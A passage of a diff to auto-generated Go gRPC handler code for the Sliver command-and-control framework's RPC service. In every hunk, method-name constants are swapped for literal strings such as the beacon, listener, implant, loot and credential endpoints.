handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).MonitorStart(ctx, req.(*commonpb.Empty))
@@ -3152,7 +2953,7 @@ func _SliverRPC_MonitorStop_Handler(srv interface{}, ctx context.Context, dec fu
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_MonitorStop_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/MonitorStop",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).MonitorStop(ctx, req.(*commonpb.Empty))
@@ -3170,7 +2971,7 @@ func _SliverRPC_MonitorListConfig_Handler(srv interface{}, ctx context.Context,
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_MonitorListConfig_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/MonitorListConfig",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).MonitorListConfig(ctx, req.(*commonpb.Empty))
@@ -3188,7 +2989,7 @@ func _SliverRPC_MonitorAddConfig_Handler(srv interface{}, ctx context.Context, d
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_MonitorAddConfig_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/MonitorAddConfig",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).MonitorAddConfig(ctx, req.(*clientpb.MonitoringProvider))
@@ -3206,7 +3007,7 @@ func _SliverRPC_MonitorDelConfig_Handler(srv interface{}, ctx context.Context, d
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_MonitorDelConfig_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/MonitorDelConfig",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).MonitorDelConfig(ctx, req.(*clientpb.MonitoringProvider))
@@ -3224,7 +3025,7 @@ func _SliverRPC_StartMTLSListener_Handler(srv interface{}, ctx context.Context,
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_StartMTLSListener_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/StartMTLSListener",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).StartMTLSListener(ctx, req.(*clientpb.MTLSListenerReq))
@@ -3242,7 +3043,7 @@ func _SliverRPC_StartWGListener_Handler(srv interface{}, ctx context.Context, de
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_StartWGListener_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/StartWGListener",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).StartWGListener(ctx, req.(*clientpb.WGListenerReq))
@@ -3260,7 +3061,7 @@ func _SliverRPC_StartDNSListener_Handler(srv interface{}, ctx context.Context, d
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_StartDNSListener_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/StartDNSListener",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).StartDNSListener(ctx, req.(*clientpb.DNSListenerReq))
@@ -3278,7 +3079,7 @@ func _SliverRPC_StartHTTPSListener_Handler(srv interface{}, ctx context.Context,
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_StartHTTPSListener_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/StartHTTPSListener",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).StartHTTPSListener(ctx, req.(*clientpb.HTTPListenerReq))
@@ -3296,7 +3097,7 @@ func _SliverRPC_StartHTTPListener_Handler(srv interface{}, ctx context.Context,
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_StartHTTPListener_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/StartHTTPListener",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).StartHTTPListener(ctx, req.(*clientpb.HTTPListenerReq))
@@ -3314,7 +3115,7 @@ func _SliverRPC_GetBeacons_Handler(srv interface{}, ctx context.Context, dec fun
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_GetBeacons_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/GetBeacons",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).GetBeacons(ctx, req.(*commonpb.Empty))
@@ -3332,7 +3133,7 @@ func _SliverRPC_GetBeacon_Handler(srv interface{}, ctx context.Context, dec func
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_GetBeacon_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/GetBeacon",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).GetBeacon(ctx, req.(*clientpb.Beacon))
@@ -3350,7 +3151,7 @@ func _SliverRPC_RmBeacon_Handler(srv interface{}, ctx context.Context, dec func(
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_RmBeacon_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/RmBeacon",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).RmBeacon(ctx, req.(*clientpb.Beacon))
@@ -3368,7 +3169,7 @@ func _SliverRPC_GetBeaconTasks_Handler(srv interface{}, ctx context.Context, dec
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_GetBeaconTasks_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/GetBeaconTasks",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).GetBeaconTasks(ctx, req.(*clientpb.Beacon))
@@ -3386,7 +3187,7 @@ func _SliverRPC_GetBeaconTaskContent_Handler(srv interface{}, ctx context.Contex
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_GetBeaconTaskContent_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/GetBeaconTaskContent",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).GetBeaconTaskContent(ctx, req.(*clientpb.BeaconTask))
@@ -3404,7 +3205,7 @@ func _SliverRPC_CancelBeaconTask_Handler(srv interface{}, ctx context.Context, d
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_CancelBeaconTask_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/CancelBeaconTask",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).CancelBeaconTask(ctx, req.(*clientpb.BeaconTask))
@@ -3422,7 +3223,7 @@ func _SliverRPC_UpdateBeaconIntegrityInformation_Handler(srv interface{}, ctx co
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_UpdateBeaconIntegrityInformation_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/UpdateBeaconIntegrityInformation",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).UpdateBeaconIntegrityInformation(ctx, req.(*clientpb.BeaconIntegrity))
@@ -3440,7 +3241,7 @@ func _SliverRPC_GetJobs_Handler(srv interface{}, ctx context.Context, dec func(i
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_GetJobs_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/GetJobs",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).GetJobs(ctx, req.(*commonpb.Empty))
@@ -3458,7 +3259,7 @@ func _SliverRPC_KillJob_Handler(srv interface{}, ctx context.Context, dec func(i
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_KillJob_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/KillJob",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).KillJob(ctx, req.(*clientpb.KillJobReq))
@@ -3476,7 +3277,7 @@ func _SliverRPC_RestartJobs_Handler(srv interface{}, ctx context.Context, dec fu
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_RestartJobs_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/RestartJobs",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).RestartJobs(ctx, req.(*clientpb.RestartJobReq))
@@ -3494,7 +3295,7 @@ func _SliverRPC_StartTCPStagerListener_Handler(srv interface{}, ctx context.Cont
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_StartTCPStagerListener_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/StartTCPStagerListener",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).StartTCPStagerListener(ctx, req.(*clientpb.StagerListenerReq))
@@ -3512,7 +3313,7 @@ func _SliverRPC_LootAdd_Handler(srv interface{}, ctx context.Context, dec func(i
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_LootAdd_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/LootAdd",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).LootAdd(ctx, req.(*clientpb.Loot))
@@ -3530,7 +3331,7 @@ func _SliverRPC_LootRm_Handler(srv interface{}, ctx context.Context, dec func(in
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_LootRm_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/LootRm",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).LootRm(ctx, req.(*clientpb.Loot))
@@ -3548,7 +3349,7 @@ func _SliverRPC_LootUpdate_Handler(srv interface{}, ctx context.Context, dec fun
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_LootUpdate_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/LootUpdate",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).LootUpdate(ctx, req.(*clientpb.Loot))
@@ -3566,7 +3367,7 @@ func _SliverRPC_LootContent_Handler(srv interface{}, ctx context.Context, dec fu
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_LootContent_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/LootContent",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).LootContent(ctx, req.(*clientpb.Loot))
@@ -3584,7 +3385,7 @@ func _SliverRPC_LootAll_Handler(srv interface{}, ctx context.Context, dec func(i
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_LootAll_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/LootAll",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).LootAll(ctx, req.(*commonpb.Empty))
@@ -3602,7 +3403,7 @@ func _SliverRPC_Creds_Handler(srv interface{}, ctx context.Context, dec func(int
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_Creds_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/Creds",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Creds(ctx, req.(*commonpb.Empty))
@@ -3620,7 +3421,7 @@ func _SliverRPC_CredsAdd_Handler(srv interface{}, ctx context.Context, dec func(
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_CredsAdd_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/CredsAdd",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).CredsAdd(ctx, req.(*clientpb.Credentials))
@@ -3638,7 +3439,7 @@ func _SliverRPC_CredsRm_Handler(srv interface{}, ctx context.Context, dec func(i
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_CredsRm_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/CredsRm",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).CredsRm(ctx, req.(*clientpb.Credentials))
@@ -3656,7 +3457,7 @@ func _SliverRPC_CredsUpdate_Handler(srv interface{}, ctx context.Context, dec fu
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_CredsUpdate_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/CredsUpdate",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).CredsUpdate(ctx, req.(*clientpb.Credentials))
@@ -3674,7 +3475,7 @@ func _SliverRPC_GetCredByID_Handler(srv interface{}, ctx context.Context, dec fu
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_GetCredByID_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/GetCredByID",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).GetCredByID(ctx, req.(*clientpb.Credential))
@@ -3692,7 +3493,7 @@ func _SliverRPC_GetCredsByHashType_Handler(srv interface{}, ctx context.Context,
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_GetCredsByHashType_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/GetCredsByHashType",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).GetCredsByHashType(ctx, req.(*clientpb.Credential))
@@ -3710,7 +3511,7 @@ func _SliverRPC_GetPlaintextCredsByHashType_Handler(srv interface{}, ctx context
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_GetPlaintextCredsByHashType_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/GetPlaintextCredsByHashType",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).GetPlaintextCredsByHashType(ctx, req.(*clientpb.Credential))
@@ -3728,7 +3529,7 @@ func _SliverRPC_CredsSniffHashType_Handler(srv interface{}, ctx context.Context,
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_CredsSniffHashType_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/CredsSniffHashType",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).CredsSniffHashType(ctx, req.(*clientpb.Credential))
@@ -3746,7 +3547,7 @@ func _SliverRPC_Hosts_Handler(srv interface{}, ctx context.Context, dec func(int
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_Hosts_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/Hosts",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Hosts(ctx, req.(*commonpb.Empty))
@@ -3764,7 +3565,7 @@ func _SliverRPC_Host_Handler(srv interface{}, ctx context.Context, dec func(inte
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_Host_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/Host",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Host(ctx, req.(*clientpb.Host))
@@ -3782,7 +3583,7 @@ func _SliverRPC_HostRm_Handler(srv interface{}, ctx context.Context, dec func(in
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_HostRm_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/HostRm",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).HostRm(ctx, req.(*clientpb.Host))
@@ -3800,7 +3601,7 @@ func _SliverRPC_HostIOCRm_Handler(srv interface{}, ctx context.Context, dec func
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_HostIOCRm_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/HostIOCRm",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).HostIOCRm(ctx, req.(*clientpb.IOC))
@@ -3818,7 +3619,7 @@ func _SliverRPC_Generate_Handler(srv interface{}, ctx context.Context, dec func(
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_Generate_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/Generate",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Generate(ctx, req.(*clientpb.GenerateReq))
@@ -3836,7 +3637,7 @@ func _SliverRPC_GenerateExternal_Handler(srv interface{}, ctx context.Context, d
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_GenerateExternal_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/GenerateExternal",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).GenerateExternal(ctx, req.(*clientpb.ExternalGenerateReq))
@@ -3854,7 +3655,7 @@ func _SliverRPC_GenerateExternalSaveBuild_Handler(srv interface{}, ctx context.C
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_GenerateExternalSaveBuild_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/GenerateExternalSaveBuild",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).GenerateExternalSaveBuild(ctx, req.(*clientpb.ExternalImplantBinary))
@@ -3872,7 +3673,7 @@ func _SliverRPC_GenerateExternalGetBuildConfig_Handler(srv interface{}, ctx cont
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_GenerateExternalGetBuildConfig_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/GenerateExternalGetBuildConfig",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).GenerateExternalGetBuildConfig(ctx, req.(*clientpb.ImplantBuild))
@@ -3890,7 +3691,7 @@ func _SliverRPC_GenerateStage_Handler(srv interface{}, ctx context.Context, dec
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_GenerateStage_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/GenerateStage",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).GenerateStage(ctx, req.(*clientpb.GenerateStageReq))
@@ -3908,7 +3709,7 @@ func _SliverRPC_StageImplantBuild_Handler(srv interface{}, ctx context.Context,
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_StageImplantBuild_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/StageImplantBuild",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).StageImplantBuild(ctx, req.(*clientpb.ImplantStageReq))
@@ -3926,7 +3727,7 @@ func _SliverRPC_GetHTTPC2Profiles_Handler(srv interface{}, ctx context.Context,
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_GetHTTPC2Profiles_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/GetHTTPC2Profiles",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).GetHTTPC2Profiles(ctx, req.(*commonpb.Empty))
@@ -3944,7 +3745,7 @@ func _SliverRPC_GetHTTPC2ProfileByName_Handler(srv interface{}, ctx context.Cont
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_GetHTTPC2ProfileByName_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/GetHTTPC2ProfileByName",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).GetHTTPC2ProfileByName(ctx, req.(*clientpb.C2ProfileReq))
@@ -3962,7 +3763,7 @@ func _SliverRPC_SaveHTTPC2Profile_Handler(srv interface{}, ctx context.Context,
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_SaveHTTPC2Profile_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/SaveHTTPC2Profile",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).SaveHTTPC2Profile(ctx, req.(*clientpb.HTTPC2ConfigReq))
@@ -4001,7 +3802,7 @@ func _SliverRPC_BuilderTrigger_Handler(srv interface{}, ctx context.Context, dec
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_BuilderTrigger_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/BuilderTrigger",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).BuilderTrigger(ctx, req.(*clientpb.Event))
@@ -4019,7 +3820,7 @@ func _SliverRPC_Builders_Handler(srv interface{}, ctx context.Context, dec func(
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_Builders_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/Builders",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Builders(ctx, req.(*commonpb.Empty))
@@ -4037,7 +3838,7 @@ func _SliverRPC_GetCertificateInfo_Handler(srv interface{}, ctx context.Context,
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_GetCertificateInfo_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/GetCertificateInfo",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).GetCertificateInfo(ctx, req.(*clientpb.CertificatesReq))
@@ -4076,7 +3877,7 @@ func _SliverRPC_CrackstationTrigger_Handler(srv interface{}, ctx context.Context
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_CrackstationTrigger_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/CrackstationTrigger",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).CrackstationTrigger(ctx, req.(*clientpb.Event))
@@ -4094,7 +3895,7 @@ func _SliverRPC_CrackstationBenchmark_Handler(srv interface{}, ctx context.Conte
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_CrackstationBenchmark_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/CrackstationBenchmark",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).CrackstationBenchmark(ctx, req.(*clientpb.CrackBenchmark))
@@ -4112,7 +3913,7 @@ func _SliverRPC_Crackstations_Handler(srv interface{}, ctx context.Context, dec
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_Crackstations_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/Crackstations",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Crackstations(ctx, req.(*commonpb.Empty))
@@ -4130,7 +3931,7 @@ func _SliverRPC_CrackTaskByID_Handler(srv interface{}, ctx context.Context, dec
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_CrackTaskByID_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/CrackTaskByID",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).CrackTaskByID(ctx, req.(*clientpb.CrackTask))
@@ -4148,7 +3949,7 @@ func _SliverRPC_CrackTaskUpdate_Handler(srv interface{}, ctx context.Context, de
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_CrackTaskUpdate_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/CrackTaskUpdate",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).CrackTaskUpdate(ctx, req.(*clientpb.CrackTask))
@@ -4166,7 +3967,7 @@ func _SliverRPC_CrackFilesList_Handler(srv interface{}, ctx context.Context, dec
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_CrackFilesList_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/CrackFilesList",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).CrackFilesList(ctx, req.(*clientpb.CrackFile))
@@ -4184,7 +3985,7 @@ func _SliverRPC_CrackFileCreate_Handler(srv interface{}, ctx context.Context, de
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_CrackFileCreate_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/CrackFileCreate",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).CrackFileCreate(ctx, req.(*clientpb.CrackFile))
@@ -4202,7 +4003,7 @@ func _SliverRPC_CrackFileChunkUpload_Handler(srv interface{}, ctx context.Contex
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_CrackFileChunkUpload_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/CrackFileChunkUpload",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).CrackFileChunkUpload(ctx, req.(*clientpb.CrackFileChunk))
@@ -4220,7 +4021,7 @@ func _SliverRPC_CrackFileChunkDownload_Handler(srv interface{}, ctx context.Cont
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_CrackFileChunkDownload_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/CrackFileChunkDownload",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).CrackFileChunkDownload(ctx, req.(*clientpb.CrackFileChunk))
@@ -4238,7 +4039,7 @@ func _SliverRPC_CrackFileComplete_Handler(srv interface{}, ctx context.Context,
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_CrackFileComplete_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/CrackFileComplete",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).CrackFileComplete(ctx, req.(*clientpb.CrackFile))
@@ -4256,7 +4057,7 @@ func _SliverRPC_CrackFileDelete_Handler(srv interface{}, ctx context.Context, de
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_CrackFileDelete_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/CrackFileDelete",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).CrackFileDelete(ctx, req.(*clientpb.CrackFile))
@@ -4274,7 +4075,7 @@ func _SliverRPC_Regenerate_Handler(srv interface{}, ctx context.Context, dec fun
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_Regenerate_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/Regenerate",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Regenerate(ctx, req.(*clientpb.RegenerateReq))
@@ -4292,7 +4093,7 @@ func _SliverRPC_ImplantBuilds_Handler(srv interface{}, ctx context.Context, dec
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_ImplantBuilds_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/ImplantBuilds",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).ImplantBuilds(ctx, req.(*commonpb.Empty))
@@ -4310,7 +4111,7 @@ func _SliverRPC_DeleteImplantBuild_Handler(srv interface{}, ctx context.Context,
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_DeleteImplantBuild_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/DeleteImplantBuild",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).DeleteImplantBuild(ctx, req.(*clientpb.DeleteReq))
@@ -4328,7 +4129,7 @@ func _SliverRPC_Canaries_Handler(srv interface{}, ctx context.Context, dec func(
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_Canaries_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/Canaries",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Canaries(ctx, req.(*commonpb.Empty))
@@ -4346,7 +4147,7 @@ func _SliverRPC_GenerateWGClientConfig_Handler(srv interface{}, ctx context.Cont
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_GenerateWGClientConfig_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/GenerateWGClientConfig",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).GenerateWGClientConfig(ctx, req.(*commonpb.Empty))
@@ -4364,7 +4165,7 @@ func _SliverRPC_GenerateUniqueIP_Handler(srv interface{}, ctx context.Context, d
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_GenerateUniqueIP_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/GenerateUniqueIP",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).GenerateUniqueIP(ctx, req.(*commonpb.Empty))
@@ -4382,7 +4183,7 @@ func _SliverRPC_ImplantProfiles_Handler(srv interface{}, ctx context.Context, de
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_ImplantProfiles_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/ImplantProfiles",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).ImplantProfiles(ctx, req.(*commonpb.Empty))
@@ -4400,7 +4201,7 @@ func _SliverRPC_DeleteImplantProfile_Handler(srv interface{}, ctx context.Contex
}
